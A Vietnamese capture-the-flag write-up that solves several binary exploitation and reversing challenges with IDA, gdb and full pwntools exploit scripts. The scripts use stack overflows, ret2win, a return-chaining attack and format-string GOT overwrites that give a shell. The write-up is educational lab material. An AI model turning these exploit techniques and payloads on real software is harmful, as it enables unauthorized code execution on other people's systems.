# (writeup) TTV-KCSC ## OverTheWrite - việc đầu tiên khi nhận được file là ta cho nó quyền thực thi > chmod +x overthewrite - kế đến ta quăng nó vào ida kiểm tra ![](https://i.imgur.com/YtTU0Oi.png) - hmmm, hơi quằn - thứ tự các biến ở đây là **buf**, **s1**, **v6**, **v7**, **v8** và **v9** - biến **buf** nhập vào 80 byte, nhưng khai báo là 32 byte (int64 là 8 byte và [4] thì tổng là 8\*4 bằng 32 byte) - sau 32 byte sẽ tràn xuống s1[8] là chuỗi "Welcome to KCSC" - kế đến là **v6**, nhưng trong ida chả có yêu cầu nhập vào - rồi **v7** là 0x215241104735F10F hexabyte - **v8** là 0xDEADBEEFCAFEBABE hexabyte - cuối cùng **v9** là 322376503 - file sẽ kiểm tra lần lượt từ **v9** xuống **v8**, xuống **v7** rồi tới **s1** - mà ta thấy biến **v9** khai báo có ***int***, tức là có 4 byte thôi thay vì ***int64*** là 8 byte - vậy script ta phải nhập full 32 byte của biến **buf**, rồi chuỗi "Welcome to KCSC", rồi **v7**, **v8** và cuối cùng **v9** - ta viết script trước ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./overthewrite', checksec=False) #p = remote("146.190.115.228",9992) p = process(exe.path) input() payload = b'A'*32 payload += b'Welcome to KCSC\0' payload += p64(0x215241104735F10F) payload += p64(0xDEADBEEFCAFEBABE) payload += p32(0x13371337) p.sendafter(b'Key: ',payload) p.interactive() ``` - ở bài này khá rắc rối về biến nên mình sẽ DEBUG động >./solve.py DEBUG - mở 1 tab terminal khác và cd vào chung thư mục, ta sẽ gdb >gbd attach \<pid> - đặt breakpoint ở hàm **ret** ![](https://i.imgur.com/iZuGAg6.png) >b*0x000056028ca7f38c > ![](https://i.imgur.com/Xn0y4GJ.png) - như hình thì ta đã sai ở 1 bước nào đó rồi - ta DEBUG lại nhưng breakpoint ở ngay sau hàm **read** - ta kiểm tra lại các thanh ghi >tel > ![](https://i.imgur.com/uSWvzPv.png) - ta cần biết các biến đã ở đúng vị trí cá thanh ghi chưa nên ta sẽ kiểm tra ![](https://i.imgur.com/Q9sR7hx.png) - $rbp-50h ở **d40** đúng - $rbp-30h ở **d60** đúng - $rbp-28h ở **d68** chưa chắc đúng lắm - $rbp-18h ở **d78** đi xa quá rồi - biến **v7** toàn nùi số đó phải ở vị trí **d78** nhưng ta lại nhận **deadbeefcafebabe** ở vị trí đó - vậy cái biến **v6** ta đã bỏ quên nó - nếu thế thì cái script ta pát thêm 8 byte nữa vào sau chuỗi "Welcome to KCSC" ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./overthewrite', checksec=False) #p = remote("146.190.115.228",9992) p = process(exe.path) input() payload = b'A'*32 payload += b'Welcome to KCSC\0' payload += b'A'*8 payload += p64(0x215241104735F10F) payload += p64(0xDEADBEEFCAFEBABE) payload += p32(0x13371337) p.sendafter(b'Key: ',payload) p.interactive() ``` - ta tiếp tục DEBUG lại - nhưng do file này **PIE** bật nên mỗi lần DEBUG ta phải xoá breakpoint và cài lại ![](https://i.imgur.com/7vWKB3L.png) - tiếp tục kiểm tra các thanh ghi ![](https://i.imgur.com/2JyzGwA.png) - ở $rbp-18h là **c4c8** có biến **v7** với tham số 0x215241104735f10f đúng rồi nè - ở $rbp-10h là **c4d0** có biến **v8** với tham số 0xdeadbeefcafebabe đúng rồi nè - nhưng kiểm tra đến biến **v9** thì chưa đúng ![](https://i.imgur.com/8T4tEoO.png) - như ta nói từ đầu, biến **v9** là **int** nên ta chỉ cần **p32** thôi và cần **p32** thêm 0 cho vị trí **v9** vô đúng chỗ ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./overthewrite', checksec=False) #p = remote("146.190.115.228",9992) p = process(exe.path) input() payload = b'A'*32 payload += b'Welcome to KCSC\0' payload += b'A'*8 payload += p64(0x215241104735F10F) payload += p64(0xDEADBEEFCAFEBABE) payload += p32(0) payload += p32(0x13371337) p.sendafter(b'Key: ',payload) p.interactive() ``` ![](https://i.imgur.com/KJiMOWo.png) - lúc này đã đúng r đó - vậy ta out gdb và run thử - okela, ta đã tạo được shell - việc còn lại ta cứ mở sever lên ![](https://i.imgur.com/7dTMO64.png) - submit flag thôi >KCSC{y0ur_wr1t3_g4v3_y0u_th1s_fl4g_afc4185ea6} --- ## Cat - việc đầu tiên khi nhận được file là ta cho nó quyền thực thi > chmod +x cat - kế đến ta quăng nó vào ida kiểm tra ![](https://i.imgur.com/1Qov0Lf.png) - Ngó sơ qua thì ta thấy file yêu cầu ta nhập cred, tức là user và pass để tiếp tục đi sâu hơn vào file - và biến user với pass không có khai báo bao nhiêu byte nên ở đây k có lỗi bof - v4 và v5 là biến bỏ đi byte "\n", tức là byte **newline** (enter xuống dòng) ta k cần quan tâm nhiều - user thì rõ mồn một là >KCSC_4m1n1str4t0r - còn pass được ẩn trong biến **passwd** - ta double click vào biến đó thì nhận được là ![](https://i.imgur.com/ZCTUkDF.png) >wh3r3_1s_th3_fl4g - Kế đến file sẽ kiểm tra cred và tiếp tục đi tới nhập *secret* - ở đây *secret* cho tối đa 0x200 hexabyte, tương đương 512 byte, ta đi tìm byte cho phép của biến thì k thấy bị giới hạn ![](https://i.imgur.com/CjAOXDA.png) - vậy thì ở đây chã nhẽ cũng k có lỗi ??? - thế flag nằm ở mô? - quanh hàm main có 1 function dùng để đọc flag ![](https://i.imgur.com/sTUTqwX.png) ![](https://i.imgur.com/DYsfifg.png) - function này nó sẽ mở 1 file văn bản tên ***flag.txt***, vậy thì ta cứ tạo văn bản đó với nội dung văn bản bất kì, chẳng hạn *abcd* ![](https://i.imgur.com/gQPDQ3f.png) - rồi... công việc tiếp theo ta viết script thôi >subl solve.py ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./cat', checksec=False) p = process(exe.path) #p = remote('146.190.115.228', 9994) p.sendlineafter(b'Username: ',b'KCSC_4dm1n1str4t0r') p.sendlineafter(b'Password: ',b'wh3r3_1s_th3_fl4g') payload = b'A'*512 payload += p64(exe.sym["read_flag"]) p.sendlineafter(b'secret: ', payload) p.interactive() ``` - ta import shebang vào thì phải thiết lập quyền thực thi cho script đó >chmod +x solve.py - ta cho chạy scipt thử, sai thì ta debug :)))) ![](https://i.imgur.com/2bV8pEy.png) - thấy ở cuối 1 loạt byte A, ta nhận được *abcd*, phải chăng ta làm đúng rồi ? - tắt local và mở sever lên thử... ![](https://i.imgur.com/tyXmNxM.png) - còn chần chờ j nữa mà k submit ngay >KCSC{w3ll_d0n3_y0u_g0t_my_s3cr3t_n0w_d04942f299} --- ## TheLastOne - việc đầu tiên khi nhận được file là ta cho nó quyền thực thi > chmod +x thelastone - kế đến ta quăng nó vào ida kiểm tra ![](https://i.imgur.com/8J24zc9.png) - nhìn qua một lần, bài này là cho ta lựa chọn từ 1 đến 6 được nhập từ bàn phím, ngó qua gần gần hàm main, ta còn 8 hàm quanh nó, bao gồm >menu >read_str >set_name >get_name >find_food >kill_zombie >find_survivor >**main** >unknown - đầu tiên file sẽ chạy trước function **menu**, (bởi vì function **read_str** chả có gì cho ta khai thác) ![](https://i.imgur.com/tDpFBe8.png) - theo kinh nghiệm thì ta cứ đi từ option1 đến option6 =)))) - case1 là **set_name** ![](https://i.imgur.com/EWC6XSm.png) - biến **a1** là argument1, biến này ta k thấy giới hạn nhập vào, nên ta cho nhập 48 byte như hàm cho - dễ hơn thì ta vừa viết script vừa phân tích ida ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./thelastone', checksec=False) p = process(exe.path) #p =remote('146.190.115.228', 9995) p.sendlineafter(b'> ',b'1') p.sendlineafter(b'> ',b'A'*48) ``` - kế đến là case2: **get_name** ![](https://i.imgur.com/C7zUlno.png) - function này k có j lo ngại, chỉ là đọc lại biến a1 ta vừa nhập ở trên - case3: **find_food** ![](https://i.imgur.com/VtYMeUw.png) - cũng k quan ngại, chỉ là ngủ 1 giây r tiếp tục - case4: **kill_zombie** ![](https://i.imgur.com/E6zE4oa.png) - ở đây nếu đúng ta sẽ nhận được dòng **printf** ở trên, chuỗi **name** ta vừa nhập vào ở case1 sẽ đưa về dạng số ở biến **a1** - nếu ta sai sẽ **printf** ở bên dưới, tức là hàm **if** trả về giá trị sai - case5: **find_survivor** ![](https://i.imgur.com/cwSwD1s.png) - ở đây hàm **if** sẽ trả về nội dung *no luck ...* nếu ta làm sai ở bước nào đó, và đúng sẽ **puts** 2 dòng bên dưới - kế đến là cho ta nhập vào từ bàn phím 88 byte ở biến **v1** - có 1 lỗi BufferOverflow ở đây - biến **v1** được setup là 76 byte, nhưng ta được nhập vào tận 88 byte - theo kinh nghiệm thì ta cứ nhập vào full 88 byte ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./thelastone', checksec=False) p = process(exe.path) #p =remote('146.190.115.228', 9995) p.sendlineafter(b'> ',b'1') p.sendlineafter(b'> ',b'A'*48) p.sendlineafter(b'> ',b'2') p.sendlineafter(b'> ',b'3') p.sendlineafter(b'> ',b'4') p.sendlineafter(b'> ',b'5') payload = b'A'*88 ``` - còn function cuối ta coi luôn ![](https://i.imgur.com/Ff5TdX2.png) - hàm này sẽ cho t shell - thế thì sau cái payload trên ta sẽ tiếp tục nhảy vào hàm đó ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./thelastone', checksec=False) p = process(exe.path) #p =remote('146.190.115.228', 9995) p.sendlineafter(b'> ',b'1') p.sendlineafter(b'> ',b'A'*48) p.sendlineafter(b'> ',b'2') p.sendlineafter(b'> ',b'3') p.sendlineafter(b'> ',b'4') p.sendlineafter(b'> ',b'5') payload = b'A'*88 payload += p64(exe.sym['unknown']) p.sendlineafter(b'> ',payload) p.interactive() ``` - ta import shebang vào thì ta cho nó quyền thực thi >chmod +x solve.py - ta chạy thử, thì thấy thông báo là "EOF" 😑 - DEBUG thôi - thêm dòng **input()** >gdb attach \<pid> - ta đặt breakpoint ở hàm **ret** ở function **find_survivor** ![](https://i.imgur.com/NjlBfTX.png) >b*0x0000000000401519 > ![](https://i.imgur.com/zspwjnD.png) - lúc này hàm đã trả về function **unknow** - tuỵt zời - tiếp tục kiểm tra >ni > ![](https://i.imgur.com/3cgEFDE.png) - chetchua, lỗi **xmm1** - lỗi này phổ biến, do địa chỉ ta k chia hết cho 16 - rê chuột lên coi lại ![](https://i.imgur.com/Vxqk14U.png) ![](https://i.imgur.com/xou8k5L.png) - tức là sau hàm **push**, địa chỉ stack bị thay đổi - để thấy rõ hơn thì... ![](https://i.imgur.com/yLMqoRn.png) - địa chỉ bên dưới bị lẻ nè - v thì ta sửa lại script, cho nhảy trực tiếp sau hàm **push** luôn, tức là *unknow+5* ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./thelastone', checksec=False) p = process(exe.path) #p =remote('146.190.115.228', 9995) p.sendlineafter(b'> ',b'1') p.sendlineafter(b'> ',b'A'*48) p.sendlineafter(b'> ',b'2') p.sendlineafter(b'> ',b'3') p.sendlineafter(b'> ',b'4') p.sendlineafter(b'> ',b'5') input() payload = b'A'*88 payload += p64(exe.sym['unknown']+5) p.sendlineafter(b'> ',payload) p.interactive() ``` - theo mình nghĩ là hết lỗi nữa rồi nên tắt **input()** luôn - run thử - lúc này ta đã tạo được shell, vậy thì ta tắt local và mở sever lên luôn ![](https://i.imgur.com/WD1yc9Q.png) - submit flag thôi... >KCSC{th3_l4st_hum4n_l1k3_th3_0ff_by_0n3_203d940bd5} --- ## Treasure - ta nhận được 1 file tên **treasure** - Truơớc mắt cứ thiết lập quyền thực thi cho file bằng câu lệnh > chmod +x treasure - ta chạy thử .... ![](https://i.imgur.com/h0KJ3H9.png) - ta nhận dc part1 của flags là >KCSC{ - việc còn lại ta sử dụng công cụ ida để xem cách hoạt động của file - thì ở đây ta nhận được hàm print **%s** của biến v4 ![](https://i.imgur.com/UbHv0j9.png) - và chuỗi đó nằm ngay trên luôn =)))))) - flag2 là: >4_t1ny_tr34sur3 - tiếp tục ta ngó sang các bảng làm việc khác của ida - thì ta nhận đuược part3 của flag ![](https://i.imgur.com/m2Sk0Ti.png) - kết hợp lại ta được > KCSC{4_t1ny_tr34sur3_27651d2df78e1998} --- ## GenMaxNumber - ở bài này, tác giả k có cho file - vậy thì ta cứ tạo script và kết nối tới sever thôi ![](https://i.imgur.com/Gssg9Ix.png) - yêu cầu đề bài là sắp xếp chuỗi số đã cho thành số lớn nhất - đầu tiên ta mở script lên và cho kết nối tới sever - rồi ta nhận chuỗi số đó, chuyển chuỗi đó về dạng byte - dùng lệnh *sort* để lọc về theo thứ tự từ bé đến lớn, và theo yêu cầu đề bài là chuỗi số lớn nhất nên ta đảo ngược phép lọc bằng "reverse=True" ```python #!/usr/bin/python3 from pwn import * p = remote('146.190.115.228',10464) p.recvuntil('Number: ') num = int(p.recvline(),10) log.info("number: " + str(num)) numstr = str(num) sortedString = ''.join(sorted(numstr,reverse=True)) p.sendline(str(sortedString)) p.interactive() ``` ![](https://i.imgur.com/MoLP4bl.png) - theo như hình là ta đã đúng, nhưng đề bài vẫn tiếp tục giao - bài đã đếm cho ta 1 điểm - chẳng lẽ goal là 10 ư ... ![](https://i.imgur.com/Z5HNpaH.png) - ảo giác thặc 🤦‍♂️ - goal là 100 chăng? - v thì ta cho vòng lặp trong script, chứ ctrl+C rồi ctrl+V cái nùi đó thì loãng script hết ![](https://i.imgur.com/TJA5YNq.png) - tôi ổn ... - script: ```python #!/usr/bin/python3 from pwn import * p = remote('146.190.115.228',10464) for i in range(0,100): p.recvuntil('Number: ') num = int(p.recvline(),10) log.info("number: " + str(num)) numstr = str(num) sortedString = ''.join(sorted(numstr,reverse=True)) p.sendline(str(sortedString)) p.interactive() ``` >KCSC{You will maximize yourself when participating in KCSC, G00d_j0b} --- ## ShortJumps - việc đầu tiên khi nhận được file là ta cho nó quyền thực thi > chmod +x shortjumps - kế đến ta quăng nó vào ida kiểm tra nhưng lại bị lỗi - check thông tin file thì ta nhận được đây là file 32 bits ![](https://i.imgur.com/4pt7HP9.png) - ngoài file ra thì ta nhận được 1 source code c - thì trong source đó được phân ra 3 hàm chủ đạo >**main** >**jmp1** >**jmp2** ```c int jmp1(int a) { if (a==0xdeadbeef) jmp++; } int jmp2(int a, int b) { char command[8] = {0}; command[0] = '/'; command[1] = 'b'; command[2] = 'i'; command[3] = 'n'; command[4] = '/'; command[5] = 's'; command[6] = 'h'; command[7] = '\0'; if (jmp!=1) { puts("Don't cheat, hacker!"); exit(0); } if (a==0xcafebabe && a+b==0x13371337) system(command); } int main() { char name[0x20]; char dream[0x50]; char choose = 'Y'; init(); puts("Hi, what's your name?"); printf("> "); scanf("%31s", name); getchar(); puts("Do you have any dream? [Y/n]"); printf("> "); scanf("%c", &choose); if (choose=='Y' || choose=='y' || choose=='\n') { puts("Tell me your dream!"); printf("> "); scanf("%140s", dream); getchar(); puts("Wow, that's interesting!"); } ``` - ở đây cũng có thể lờ mờ đoán được là mình sẽ ret về 2 hàm **jmp1** và **jmp2** - **jmp1** là để tăng biến **jmp** từ 0 lên 1 - **jmp2** là kiểm tra biến **jmp** nếu bằng 1 thì trả về shellcode, nếu khác 1 là thông báo đừng chơi gian lận =))))) - v thì mình có 2 hướng để ret - 1 là tìm thẳng địa chỉ của hàm đó luôn (nếu PIE tắt thì nhanh gọn lẹ) - 2 là dùng exe.sym - do checksec thấy PIE tắt r thì làm cách 1 luôn ![](https://i.imgur.com/uuilovc.png) - biến **name** k có lỗi bof - nhưng biến **dream** thì có, khai báo 80 byte nhưng input tận 140 byte - vậy ta tìm offset của file, do là file 32 nên ta tìm **$eip** ![](https://i.imgur.com/dnPRnqK.png) - trước hết viết script ngắn gọn ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./shortjumps', checksec=False) p = process(exe.path) #p= remote('146.190.115.228', 9993) jmp1 = 0x80492b4 jmp2 = 0x80492e0 main = 0x8049378 p.sendlineafter(b'> ', b'hlaan') p.sendlineafter(b'> ', b'y') payload = b'A'*124 payload += p32(jmp1) payload += p32(0xdeadbeef) payload += p32(jmp2) payload += p32(0xcafebabe) payload += p32(0x48385879) p.sendlineafter(b'> ', payload) p.interactive() ``` - chmod cái script r run thử - thì lại nhận đc thông báo EOF :-( - tức là khi ta ret tới 1 trong 2 hàm **jmp** thì vị trí stack chưa push đúng chỗ - chẳng hạn cái *0xdeadbeef* hay là *0xcafebabe* - v thì chắc ta chỉ cần ret về **main** mỗi lần ret tới mỗi hàm **jmp** ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./shortjumps', checksec=False) p = process(exe.path) #p= remote('146.190.115.228', 9993) jmp1 = 0x80492b4 jmp2 = 0x80492e0 main = 0x8049378 p.sendlineafter(b'> ', b'hlaan') p.sendlineafter(b'> ', b'y') payload1 = b'A'*124 payload1 += p32(jmp1) payload1 += p32(main) payload1 += p32(0xdeadbeef) p.sendlineafter(b'> ', payload1) p.sendlineafter(b'> ', b'hlaan') p.sendlineafter(b'> ', b'y') payload2 = b'A'*124 payload2 += p32(jmp2) payload2 += p32(main) payload2 += p32(0xcafebabe) payload2 += p32(0x48385879) p.sendlineafter(b'> ', payload2) p.interactive() ``` - vì là ret về hàm **main** nên sẽ gửi 2 lần dữ liệu, gửi 2 cái payload - run lại thử, và đã tạo đc shell 😎 ![](https://i.imgur.com/spKy7m5.png) - kết nối sever và lụm --- ## xFMasTree - kiểm tra ida ![](https://i.imgur.com/ISchkcX.png) - kiểm tra lớp bảo vệ ![](https://i.imgur.com/3tYXASh.png) - quanh hàm main có: >payload >hint >**main** - có lỗi fmtstr ngay hàm *printf* ở function ***payload*** ![](https://i.imgur.com/UqxYsdV.png) - vì function ***hint*** khi kết nối sever sẽ cho ta flag bịp nên hướng đi là tạo shell ![](https://i.imgur.com/Za2Wu5n.png) - vì do k có sẵn hàm cho **system** nên ta sẽ break ngay hàm *prinf* trong ***payload*** và leak cái libc ra ![](https://i.imgur.com/PDq06x1.png) - ta tính offset từ 2 địa chỉ trên để tìm libc base ![](https://i.imgur.com/VJFI1pm.png) > p/x 0x7fd47c429d90 - 0x007fd47c400000 > 0x29d90 - leak libc rồi thì ta sẽ tấn công GOT thông qua hàm *prinf* - leak thêm binary ngay sau $rbp ![](https://i.imgur.com/DLFOHJE.png) - còn offset thì tương tự ![](https://i.imgur.com/Dr8yJHG.png) >p/x 0x0000000040142b - 0x00000000400000 >0x142b - kế tiếp ta sẽ tấn công GOT thì sẽ xem sự "diferent" giữa **system** và *prinf* ![](https://i.imgur.com/QmTMbud.png) - khác biệt từ ``50d60`` và ``60770``, nhưng 2 byte "rưỡi" thì vô nghĩa, ta sẽ xét sự khác nhau qua 3 byte là ``c50d60`` và ``c60770`` - vậy ta sẽ ghi đè cái địa chỉ *printf* về **system** , thông thường thì chia nhỏ byte ghi đè (ghi 1 byte rồi 2 byte), chứ ghi luôn 3 byte thì hơi..."risky" hay ghi 2 rồi ghi 1 thì sẽ bị overflow (nghe lỏm từ 1 du tu bơ 😗 ) - ta sẽ chia ra 2 phần ghi đè ```python ow1 = libc.sym['system'] & 0xff ow2 = libc.sym['system'] >> 8 & 0xffff ``` - ở đây do ta đã lấy 1 byte ``60`` nên ta sẽ sử dụng toán tử bit (cụ thể là dịch bit ) và dịch sang phải 8 bit (1 byte = 8 bit) để tiếp tục lấy 2 byte còn lại - ngẫu hứng thì ta sẽ ghi got của *printf* vào 1 địa chỉ nào đó sau $rsp thì cỡ cỡ sau $rsp tầm 0x20 byte đi - ta sẽ ghi 3 byte ở trên ngay $rsp và ``ljust(0x20)`` đến chỗ mình binary ngay phía trên - vì ``ljust(0x20)`` nên ta sẽ ghi ngay ``%10$c`` và ``%11$c`` - debug lại thì ta thấy ngay ``%10`` ta nhận đc là 0x405040 trong khi got *printf* có 0x404040, chênh 0x1000 thì offset ta sẽ lui thêm chừng đó byte ![](https://i.imgur.com/kbfR8JA.png) >0x242b - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chall_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) p = process(exe.path) #p = remote('47.254.251.2', 4099) p.sendlineafter(b'>> ', b'1') p.sendafter(b'payload: ',b'%37$p') p.recvuntil(b'submitted\n') libc_leak = int(p.recvuntil(b'1.',drop=True),16) libc.address = libc_leak - 0x29d90 log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) p.sendlineafter(b'>> ', b'1') p.sendafter(b'payload: ',b'%33$p') p.recvuntil(b'submitted\n') exe_leak = int(p.recvuntil(b'1.', drop=True),16) exe.address = exe_leak - 0x242b log.info("exe leak: " + hex(exe_leak)) log.info("exe base: " + hex(exe.address)) ow1 = (libc.sym['system']) & 0xff ow2 = (libc.sym['system']) >> 8 & 0xffff payload = f'%{ow1}c%10$hhn'.encode() payload += f'%{ow2 - ow1}c%11$hn'.encode() payload = payload.ljust(0x20, b'A') payload += p64(exe.got['printf']) payload += p64(exe.got['printf']+1) p.sendlineafter(b'>> ', b'1') p.sendafter(b'payload: ', payload) p.sendline(b'/bin/sh') p.interactive() ``` ![](https://i.imgur.com/Sv46Z06.png) --- ## FMTXMaster - kiểm tra ida ![](https://i.imgur.com/NFSMvKs.png) - kiểm tra lớp bảo vệ ![](https://i.imgur.com/NCocHWg.png) - quanh hàm **main** k còn hàm nào hữu dụng - thấy đc ``shell`` ngay trong hàm **main** - phân tích ida, ta thấy nó sẽ đọc 1 đường dẫn ``/dev/urandom`` - đường dẫn đó khá là lạ nên có tra gg thì ta biết dc là tạo dữ liệu random vô hạn 🤦‍♂️ - và dữ liệu đó được cắt ra chia làm 2 phần và gán và 2 biến **buf** và **v6** - và cho ta shell khi input 1 giá trị **v7** bằng ``v6 + buf`` - ta kiểm tra địa chỉ nào của biến **buf** và biến **v6** ngay hàm **read** khi mở file ``/dev/urandom`` ![](https://i.imgur.com/XlexCBF.png) ![](https://i.imgur.com/isgfby6.png) ![](https://i.imgur.com/2UbudOc.png) > dd60 và dd68, tức là %8 và %9 - kiểm tiếp địa chỉ của biến **v7** để so sánh ![](https://i.imgur.com/DQB0sXX.png) > dd70 là %10 - hmmmm - căng nhể, idea ban đầu là thay đổi giá trị chứa trong **buf** và **v6** nhưng file chỉ cho 1 lần **read** nên hơi khó, lái qua úm ba la cho **buf** và **v6** thành 0, r **input** cái **v7** là null - ta sẽ định dạng "*" để padding cho đủ 0x20 byte (từ dd50 lên dd70) > ``%*8$c%*9$c%10$n`` - hmmm - bị EOF ![](https://i.imgur.com/W5xQGKw.png) - ta sẽ debug lại lần nữa nhưng dừng ngay sau lệnh nhập biến **v7** (ngẫu nhiên k cần số chính xác) ![](https://i.imgur.com/ZCIdK4V.png) - ồ, biến **v7** ở %10 đúng nè, nhưng ở %11 lại là 1 stack thực thi, và hiện đang trỏ lại giá trị ở %10 - hay là ta chỉnh sửa lại xíu, ghi lên %11 thay vì %10 - script: ```python #!/usr/bin/env python3 from pwn import * context.binary = exe = ELF("./chall_patched",checksec=False) libc = ELF("./libc.so.6",checksec=False) ld = ELF("./ld-linux-x86-64.so.2",checksec=False) p = process(exe.path) p.sendafter(b'name:',b'%*8$c%*9$c%11$n') p.sendlineafter(b'gift:',b'\0') p.interactive() ``` ![](https://i.imgur.com/EIoiMVW.png) >KCSC{w3ll_don3_here_is_your_Xm45_g1f7} > đang suy nghĩ tới gdbsever, vì trong gdb mình hoàn toàn có thể tính toán và đưa ra giá trị v7 nên có thể tạo shell ngay trong gdb